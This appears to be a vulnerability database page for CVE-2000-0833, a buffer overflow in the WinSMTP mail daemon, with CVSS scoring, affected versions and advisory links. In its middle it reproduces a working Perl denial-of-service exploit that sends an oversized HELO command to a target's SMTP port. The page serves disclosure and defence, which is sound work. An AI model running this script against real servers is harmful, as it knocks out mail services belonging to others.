CVE-2000-0833
CVSS10.0
发布时间 :2000-11-14 00:00:00
修订时间 :2008-09-05 16:21:58
NMCOES    

[原文]Buffer overflow in WinSMTP 1.06f and 2.X allows remote attackers to cause a denial of service via a long (1) USER or (2) HELO command.


[CNNVD]Jack De Winter WinSMTP缓冲区溢出漏洞(CNNVD-200011-004)

        WinSMTP 1.06f和2.X版本存在缓冲区溢出漏洞。远程攻击者借助超长(1)USER或者(2)HELO命令导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:jack_de_winter:winsmtp:2.x
cpe:/a:jack_de_winter:winsmtp:1.6f

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0833
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0833
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200011-004
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5255.php
(VENDOR_ADVISORY)  XF  winsmtp-helo-bo(5255)
http://www.securityfocus.com/bid/1680
(VENDOR_ADVISORY)  BID  1680
http://www.securityfocus.com/archive/1/81693
(UNKNOWN)  BUGTRAQ  2000911 WinSMTPD remote exploit/DoS problem

- 漏洞信息

Jack De Winter WinSMTP缓冲区溢出漏洞
危急 缓冲区溢出
2000-11-14 00:00:00 2005-10-20 00:00:00
远程※本地  
        WinSMTP 1.06f和2.X版本存在缓冲区溢出漏洞。远程攻击者借助超长(1)USER或者(2)HELO命令导致服务拒绝。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20221)

Jack De Winter WinSMTP 1.6 f/2.0 Buffer Overflow Vulnerability (EDBID:20221)
windows dos
2000-09-11 Verified
0 Guido Bakker
N/A [点击下载]
source: http://www.securityfocus.com/bid/1680/info

A number of unchecked buffers exist in the SMTP and POP3 components of Jack De Winter's WinSMTP mail daemon which could lead to denial of service attacks or arbitrary code execution, depending on the data entered.

Sending a HELO command consisting of approximately 170 bytes or a USER command consisting of approximately 370 bytes will result in a Windows general protection fault error.

#!/usr/bin/perl
#
# ./$0.pl -s <server>
# sends data to stmpd, overflowing server buffer.
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 170; 
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
		    Proto	=> "tcp",
		    PeerAddr	=> $args{s},
		    PeerPort	=> "smtp(25)",
		) || die("Unable to connect to smtp port at $args{s}\n");
$remote->autoflush(1);
print $remote "HELO $data". $EOL;
while (<$remote>){ print }

print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}		

- 漏洞信息

13206
WinSMTP Multiple Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-09-11 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Jack De Winter WinSMTP Buffer Overflow Vulnerability
Boundary Condition Error 1680
Yes Yes
2000-09-11 12:00:00 2009-07-11 02:56:00
Discovered by Dethy <dethy@synnergy.net> and posted to Bugtraq on September 11, 2000 by Guido Bakker <guidob@mainnet.nl>.

- 受影响的程序版本

Jack De Winter WinSMTP 2.0
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Jack De Winter WinSMTP 1.6 f
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

A number of unchecked buffers exist in the SMTP and POP3 components of Jack De Winter's WinSMTP mail daemon which could lead to denial of service attacks or arbitrary code execution, depending on the data entered.

Sending a HELO command consisting of approximately 170 bytes or a USER command consisting of approximately 370 bytes will result in a Windows general protection fault error.

- 漏洞利用

Dethy &lt;dethy@synnergy.net&gt; has released the following exploit:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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